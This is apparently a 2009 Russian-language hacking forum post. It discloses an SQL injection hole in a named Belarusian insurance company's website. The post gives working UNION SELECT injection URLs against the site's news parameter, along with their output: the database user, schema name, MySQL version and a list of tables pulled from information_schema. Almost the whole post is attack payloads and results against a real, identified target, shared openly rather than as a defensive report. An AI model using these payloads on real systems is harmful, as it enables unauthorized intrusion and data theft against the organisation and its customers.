02.05.2009, 15:31
|
|
Новичок
Регистрация: 19.04.2009
Сообщений: 15
С нами:
8979768
Репутация:
10
|
|
Site:
Код:
http://www.belvneshstrakh.by/
SQL -
Уязвимая перемен
Код:
http://www.belvneshstrakh.by/ru//?page=news&id=1+union+select+1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),%20version()),4,5,6,7--
bvs@localhost : belvneshstrakh_by : 5.0.45-log
Код:
http://www.belvneshstrakh.by/ru//?page=news&id=-1+union+select+1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),%20version()),4,group_concat(table_name),6,7+from+information_schema.tables--
Table:
Код:
:::CHARACTER_SETS,:::COLLATIONS,:::COLLATION_CHARACTER_SET_APPLICABILITY,:::COLUMNS,:::COLUMN_PRIVILEGES,:::KEY_COLUMN_USAGE,:::PROFILING,:::ROUTINES,:::SCHEMATA,:::SCHEMA_PRIVILEGES,:::STATISTICS,:::TABLES,:::TABLE_CONSTRAINTS,:::TABLE_PRIVILEGES,:::TRIGGERS,:::USER_PRIVILEGES,:::VIEWS,:::image,:::news,:::page,:::sections
|
|
|